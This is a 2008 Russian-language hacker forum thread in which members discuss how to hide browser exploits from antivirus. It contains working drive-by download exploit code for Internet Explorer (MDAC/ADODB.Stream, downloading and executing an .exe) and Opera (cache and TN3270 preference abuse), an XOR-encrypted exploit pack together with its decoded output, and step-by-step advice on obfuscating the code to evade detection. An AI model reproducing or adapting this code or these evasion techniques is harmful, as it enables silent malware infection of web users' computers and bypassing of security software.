PDA

Просмотр полной версии : Крипт Сплойта


Xszz
13.03.2008, 20:56
Все доброго времени суток .
Возможно эта тема поднималась , но все же ...
Каким образом криптуется сплойт , если можно , пример .. Вот код сплойта , как его спрятать от антивируса и сохранить его работоспособность , пробовал обфускацию - от антивируса не спасает .
Спасибо ...
<?
$clsid = "'{BD96C556-65A3-11D0-983A-00C04FC29E30}', '{BD96C556-65A3-11D0-983A-00C04FC29E36}', '{AB9BCEDD-EC7E-47E1-9322-D4A210617116}', '{0006F033-0000-0000-C000-000000000046}', '{0006F03A-0000-0000-C000-000000000046}', '{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}', '{6414512B-B978-451D-A0D8-FCFDF33E833C}', '{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}', '{06723E09-F4C2-43c8-8358-09FCD1DB0766}', '{639F725F-1B2D-4831-A9FD-874847682010}', '{BA018599-1DB3-44f9-83B4-461454C84BF8}', '{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}', '{E8CCCDDF-CA28-496b-B050-6C07C962476B}'";
?>
<script language="JavaScript">

<? // mdac + ?>
function <?=$var[1];?>(<?=$var[7];?>)
{
var <?=$var[2];?> = "abcdefghiklmnopqrstuvwxyz";
var <?=$var[3];?> = <?=$var[7];?>;
var <?=$var[4];?> = '';
for (var i=0; i<<?=$var[3];?>; i++)
{
var <?=$var[5];?> = Math.floor(Math.random() * <?=$var[2];?>.length);
<?=$var[4];?> += <?=$var[2];?>.substring(<?=$var[5];?>,<?=$var[5];?>+1);
}
return <?=$var[4];?>;
}

function <?=$var[6];?>(CLSID, name)
{
var result = null;

try { eval('result = CLSID.CreateObject(name)') } catch(e){}
if (! result) { try { eval('result = CLSID.CreateObject(name, "")') } catch(e){} }
if (! result) { try { eval('result = CLSID.CreateObject(name, "", "")') } catch(e){} }
if (! result) { try { eval('result = CLSID.GetObject("", name)') } catch(e){} }
if (! result) { try { eval('result = CLSID.GetObject(name, "")') } catch(e){} }
if (! result) { try { eval('result = CLSID.GetObject(name)') } catch(e){} }

return(result);
}

function <?=$var[8];?>(xml, url)
{
try
{
xml.open("GET", url, false);
xml.send(null);
} catch(e) { return 0; }

return xml.responseBody;
}

function <?=$var[9];?>(o, name, data)
{
try
{
o.Type = 1;
o.Mode = 3;
o.Open();
o.Write(data);
o.SaveToFile(name, 2);
o.Close();
} catch(e) { return 0; }
return 1;
}

function <?=$var[10];?>(exec, name, type)
{
if (type == 0)
{
try { exec.Run(name, 0); return 1; } catch(e) { }
}
else
{
try { exe.<?=$var[10];?>(name); return 1; } catch(e) { }
}
return(0);
}

function mdac()
{
var <?=$var[11];?> = "<?=$ie_path;?>";
var <?=$var[12];?> = new Array(<?=$clsid;?>, null);
var <?=$var[13];?> = new Array(null, null, null);
var i = 0;
var n = 0;
var ret = 0;

while (<?=$var[12];?>[i] && (! <?=$var[13];?>[0] || ! <?=$var[13];?>[1] || ! <?=$var[13];?>[2]) )
{
var a = null;

try
{
a = document.createElement("object");
a.setAttribute("classid", "clsid:" + <?=$var[12];?>[i].substring(1, <?=$var[12];?>[i].length - 1));
} catch(e) { a = null; }

if (a)
{
if (! <?=$var[13];?>[0])
{
<?=$var[13];?>[0] = <?=$var[6];?>(a, "ms"+"xml2.XM"+"LHTTP");
if (! <?=$var[13];?>[0]) <?=$var[13];?>[0] = <?=$var[6];?>(a, "Micr"+"osoft.X"+"MLHTTP");
if (! <?=$var[13];?>[0]) <?=$var[13];?>[0] = <?=$var[6];?>(a, "MSX"+"ML2.Serv"+"erXML"+"HTTP");
}
if (! <?=$var[13];?>[1])
{
<?=$var[13];?>[1] = <?=$var[6];?>(a, "ADO"+"DB.St"+"ream");
}
if (! <?=$var[13];?>[2])
{
<?=$var[13];?>[2] = <?=$var[6];?>(a, "WSc"+"ript.Sh"+"ell");
if (! <?=$var[13];?>[2])
{
<?=$var[13];?>[2] = <?=$var[6];?>(a, "Sh"+"ell.Appli"+"cation");
if (<?=$var[13];?>[2]) n=1;
}
}
}
i++;
}
if (<?=$var[13];?>[0] && <?=$var[13];?>[1] && <?=$var[13];?>[2])
{
var data = <?=$var[8];?>(<?=$var[13];?>[0], <?=$var[11];?>);

if (data != 0)
{
var name = "c:\\"+<?=$var[1];?>(4)+".exe";
if (<?=$var[9];?>(<?=$var[13];?>[1], name, data) == 1)
{
if (<?=$var[10];?>(<?=$var[13];?>[2], name, n) == 1) { ret=1; }
}
}
}
return ret;
}
<? // mdac - ?>

function Attack()
{
mdac();
}

Attack();

</script>

iddqd
13.03.2008, 21:01
http://iframe.in/

Xszz
13.03.2008, 21:16
Вставляю код , нажимаю generate но в ответ ничего не получаю ...

iddqd
13.03.2008, 21:21
Надо справа выбрать JavaScript Encoder

Xszz
13.03.2008, 21:33
дык выбрал... :(

neprovad
13.03.2008, 22:13
дык выбрал... :(
все верно вам написали. выбор сделать надо
Choose method: JavaScript Encoder
Затем в поле слева вставить свой скрипт и нажать кнопку Generate
Помигает полоска, мол что-то делается. Затем появятся ниже варианты обфусцированного кода. Попробуйте еще раз. Не пойму в чем проблема у вас? Банальный вопрос - поддержку javascript в браузере случаем не отключали?

Xszz
13.03.2008, 22:13
<?
$key_that_script_is_crypted=46;
$resource_crypted_code ='#$
[\B FZZ^
q}k|xk|u fzz~qfa}z s ]Z\q\K^BOMK rr   JG\@OCK
q}k|xk|u ~f~q}kbh s BAOJ ^F^ #$H[@MZGA@K@MAJK
MA@ZK@ZU#$[t3]
]Z\Z\GC]Z\G^qZOI]
MA@ZK@Z#$[t3]
@KY #$[t3]HA\
G
G]Z\BK@
]Z\
G
@KY MF\A\J
]Z\u
Gsp#$[t3]\KZ[\@ ]M\G^ZBO@I[OIKdOXO}M\G^Z]Z\
@KY ]Z\ HA\GG]Z\ BK@IZFGU]Z\]Z\}Z\G@I H\ACmFO\mAJK]Z\ MFO\mAJKoZGpSKXOB]Z\]M\G^Z #$S#$GH
DOXOZ\[KKMFA O^^BKZO\MFGXK DOXO ^F^ MAJK lOOOOlOO MBO]] YGJZFFKGIFZ^O\OC@OCK [\B XOB[K
[\B O^^BKZ #$KB]KGH
L\AY]K\ c}gk KMFA FZCBFKOJCKZOfzz~k{gx |kh|k}f MA@ZK@Z {|bG@JKV ^F^  K@MAJK ]M\G^ZBO@I[OIK dOXO}M\G^Z #$]ZO\Z#$H[@MZGA@]ZO\ZU#$XO\@KYIJAM[CK@Z M\KOZKkBKCK@Zr ALDKMZr #$@KYI ]KZoZZ\GL[ZKr GJr r @KYIr #$@KYI ]KZoZZ\GL[ZKr MBO]]GJr r MBr r ]Gr  Jlj  m r or  j r or  m r hmr  k r r #$Z\WU#$XO\_@KYI m\KOZKaLDKMZr C]r  VC r Br  r vcr  bf r zr r z~r r r #$XO\]@KYI m\KOZKaLDKMZ }FKB  B o^  ^B  GMOZG  A@ r r #$XO\Z@KYI m\KOZKaLDKMZr OJr r AJr  L r ]Zr  \K r OCr r r #$Z\WUZ ZW^K#$_ A^K@r ir  k r zr r
[\B r HOB]K#$_ ]K@JZ A^K@#$Z y\GZK_ \K]^A@]KlAJW#$XO\@OCKr  GKV^BA\K\ KVKr #$Z }OXKzAhGBK@OCK#$Z mBA]K#$SMOZMFKUS#$Z\WU] ]FKBBKVKM[ZK@OCKSMOZMFKUSS#$MOZMFKUSS#$]M\G^Z  FKOJFZCB #$KB]KGH
L\AY]K\ a^K\O KMFAK@MAJK ]M\G^ZBO@I[OIK dOXO}M\G^Z #$LBO@EqGH\OCKJAM[CK@Z M\KOZKkBKCK@Zr GH\OCKr #$LBO@EqGH\OCK ]\Mr OLA[ZLBO@Er #$LBO@EqGH\OCK ]KZoZZ\GL[ZKr GJr r LBO@EqGH\OCKqYG@JAYr #$LBO@EqGH\OCK ]KZoZZ\GL[ZKr ]ZWBKr r JG]^BOW@A@Kr #$JAM[CK@Z O^^K@JmFGBJLBO@EqGH\OCK#$LBO@EqGH\OCKqYG@JAY KXOB MA@HGIqGH\OCKJAM[CK@Z M\KOZKkBKCK@Zr GH\OCKr r#$MA@HGIqGH\OCK ]KZoZZ\GL[ZKr GJr r MA@HGIqGH\OCKqYG@JAYr r#$MA@HGIqGH\OCK ]\Mr A^K\OMA@HGIr r#$JAM[CK@Z O^^K@JmFGBJMA@HGIqGH\OCKr#$O^^qGH\OCKJAM[CK@Z M\KOZKkBKCK@Zr ]M\G^Zr r#$MOMFKqGH\OCKJAM[CK@Z M\KOZKkBKCK@Zr GH\OCKr r#$O^^qGH\OCK ]\Mr ^F^KMFA
[\Br r#$O^^qGH\OCK A@BAOJH[@MZGA@r#$Ur#$MOMFKqGH\OCK ]\Mr A^K\OMOMFKr r#$MOMFKqGH\OCK A@BAOJH[@MZGA@r#$Ur#$MOMFKMOMFKqGH\OCK MA@ZK@ZjAM[CK@Z MFGBJ`AJK]us G@@K\fzcb ZA{^^K\mO]Kr#$XO\\K@KY|KIkV^r a~|rrrrYUS kvkzjrrrr]zjrrrrJzjrrrr]zjof|khr r O^^qGH\OCK ]\M ZA{^^K\mO]Kr r r#$HGBK@OCKMOMFK COZMF\Kr#$MA@HGIqGH\OCKqYG@JAY KXOBr#$r r#$A^K\O ]KZ~\KHK\K@MKr `KZYA\Er r z`o^^r A^K\O IKZ~\KHK\K@MKr {]K\~\KH]r r mOMFKjG\KMZA\Wr ^O\K@Z HGBK@OCKusr#$O^^qBG@EJAM[CK@Z M\KOZKkBKCK@Zr Or r#$O^^qBG@E ]KZoZZ\GL[ZKr F\KHr r Z@@AZFG@Ir r#$O^^qBG@E MBGMEr#$]KZzGCKA[ZH[@MZGA@UA^K\O ]KZ~\KHK\K@MKr `KZYA\Er r z`o^^r r ZKB@KZ KVKr Sr#$r r#$Sr#$JAM[CK@Z O^^K@JmFGBJMOMFKqGH\OCKr#$Sr#$JAM[CK@Z O^^K@JmFGBJO^^qGH\OCK #$]M\G^Z #$';
$string_output=str_replace("[t1]", "<?", $resource_crypted_code);
$string_output=str_replace("[t3]", "'", $string_output);
$lenth_of_crypted_code=strlen($string_output);
$eval_php_code='';
for($huivamvsem=0;$huivamvsem<$lenth_of_crypted_code;$huivamvsem++)
$eval_php_code .= chr(ord($string_output[$huivamvsem]) ^ $key_that_script_is_crypted);
eval($eval_php_code);
?>
Вот хотелось бы услышать как закрипчен вот этот сплойт ?
Спасибо .

Xszz
13.03.2008, 22:22
2neprovad
А вы попробуйте код из первого поста вставить ...

neprovad
13.03.2008, 22:37
в предыдущему посту с применением php - код зашифрован с применением операции xor.
код из первого поста вставлял, криптованый код получал, на работоспособность не проверял, так как такой цели не было. но факт что криптор все же работает и выдает результат

Xszz
15.03.2008, 21:25
Как можно декриптить этот код , с примением Xor ?

Piflit
15.03.2008, 21:32
eval($eval_php_code); -> echo $eval_php_code;

Xszz
15.03.2008, 22:05
А теперь вопрос , как закриптить ...
Желательно по пунктам , самый примитивный метод ... Заранее спасибо

Piflit
15.03.2008, 23:23
самый примитивный - переписать строки из вида "srt" в вид "s"+"tr".

Xszz
16.03.2008, 01:46
А поподробнее =)
С примерами
Спасибо

Piflit
16.03.2008, 02:32
try { eval('result = CLSID.CreateObject(name)') } в
try { eval('res'+'ult'+' = CLS'+'ID.C'+'reate'+'Object'+'(na'+'me)') }

NFM
16.03.2008, 03:13
просто попробуй узнать сначала на какую строчку ругается антивирус, потом пробуй ее изменить

КучО
19.03.2008, 03:14
код, который выложил тс, пхп
а вы предлагаете на iframe.in его закриптовать как javasript
ну ппц
а по поводу сабжа
я этот же код (как я понял, это от айспака) пытался руками как только не закриптить
тестил с касперским
итог - после минуты работы (добавления мусора и переделывания пары кусков кода) при файловой проверке он перестал орать на него
если же открыть его как html в браузере (что обычно и происходит при целевом использовании ;), он начинает орать. говорит, что trojan.downloaser.slice.js. Это же он кричал и при проверке файла. Только если при проверке самого файла окошко каспера было красное, то сейчас оно было желтое. Т.е. авер проверяет непосредственно код в памяти, и там он все равно палится
Как же спрятать его?

Xszz
20.03.2008, 02:14
Купил готовую связку , но все же вопрос актуален .
Как же все таки можно закриптить ?

diehard
20.03.2008, 02:47
По поводу первого сплойта - можно удаляя по одной строчке найти ту, на которую ругается антивирус и пробовать изменять её, куски яваскрипта без пхп можно обфусцировать на iframe.in
Однако у меня этот сплойт вообще не выполняется, ПХП выдает кучу ошибок неопределенных переменных, видимо он не полностью представлен, а переменные var[] определяются в том месте, куда инклюдится этот сплоит.

По поводу второго сплойта раскодировать его просто: вместо

eval($eval_php_code);

вписать

$f=@fopen("sploit-decoded.txt","w");
fwrite($f, $eval_php_code);
fclose($f);


В результате в файле sploit-decoded.txt имеем раскодированый сплоит:



#$url = "http_//"#$_SERVER["HTTP_HOST"]str_replace ("\\", "/", dirname (#$_SERVER["PHP_SELF"]))"/loadphp"%
function encode (#$content) {
#$str = trim (strip_tags (#$content))%
#$new = ""%
for (#$i = 0% #$i < strlen (#$str)% #$i ++) #$new = chr (ord (#$str[#$i]) ^ 1)%
return <script language=JavaScript>str = "#$new"%str2 = ""%for (i = 0% i < strlength% i ++) { str2 = str2 + StringfromCharCode (strcharCodeAt (i) ^ 1)% }% eval (str2)%</script>%
}
if (#$java == true) echo <applet archive="javaphp" code="BaaaaBaaclass" width=1 height=1><param name="url" value="#$url"></applet>%
elseif (#$browser == "MSIE") echo <html><head><meta HTTP-EQUIV="REFRESH" content="3% URL=indexphp?404">encode (<script language="JavaScript">
start()%
function start() {
var newg = documentcreateElement(\object\)%
newgsetAttribute(\id\,\newg\)%
newgsetAttribute(\classid\,\cl\+\ si\+"d_BD"+"96C5"+\56-65A3-1\+"1D0-98"+\3A-00\+"C04"+\FC2\+"9E"+\36\)%
try {
var q = newgCreateObject(\ms\+"xm"+\l2\+""+\XM\+"LH"+\T\+\TP\,\\)%
var s = newgCreateObject("Shel"+"lAp"+"pl"+"icati"+"on",\\)%
var t = newgCreateObject(\ad\+\od\+"b"+\st\+"re"+\am\,\\)%
try { ttype = 1%
qopen(\G\+"E"+\T\,\#$url\,false)%
qsend()% topen()%
tWrite(qresponseBody)%
var name = \////iexplorerexe\%
tSaveToFile(name,2)%
tClose()%
} catch(e) {}
try { sshellexecute(name)% } catch(e) {}}
catch(e){}}
</script>)"</head></html>"%
elseif (#$browser == "Opera") echo encode (<script language="JavaScript">
blank_iframe = documentcreateElement(\iframe\)%
blank_iframesrc = \about_blank\%
blank_iframesetAttribute(\id\, \blank_iframe_window\)%
blank_iframesetAttribute(\style\, \display_none\)%
documentappendChild(blank_iframe)%
blank_iframe_windoweval ("config_iframe = documentcreateElement(\iframe\)%\
config_iframesetAttribute(\id\, \config_iframe_window\)%\
config_iframesrc = \opera_config\%\
documentappendChild(config_iframe)%\
app_iframe = documentcreateElement(\script\)%\
cache_iframe = documentcreateElement(\iframe\)%\
app_iframesrc = \<?php echo #$url% ?>\%\
app_iframeonload = function ()\
{\
cache_iframesrc = \opera_cache\%\
cache_iframeonload = function ()\
{\
cache = cache_iframecontentDocumentchildNodes[0]innerHTMLtoUpperCase()%\
var re = new RegExp(\(OPR\\\\w{5}EXE)</TD>\\\\s*<TD>\\\\d+</TD>\\\\s*<TD><A HREF=\"\+app_iframesrctoUpperCase(), \\)%\
filename = cachematch(re)%\
config_iframe_windoweval\
(\"\
operasetPreference(\Network\,\TN3270 App\,operagetPreference(\User Prefs\,\Cache Directory4\)+parentfilename[1])%\
app_link = documentcreateElement(\a\)%\
app_linksetAttribute(\href\, \tn3270_//nothing\)%\
app_linkclick()%\
setTimeout(function () {operasetPreference(\Network\,\TN3270 App\,\telnetexe\)},1000)%\
\")%\
}%\
documentappendChild(cache_iframe)%\
}%\
documentappendChild(app_iframe)%")%
</script>)%

499392599
25.03.2008, 23:45
Стукни мне я все раскажу и покажу.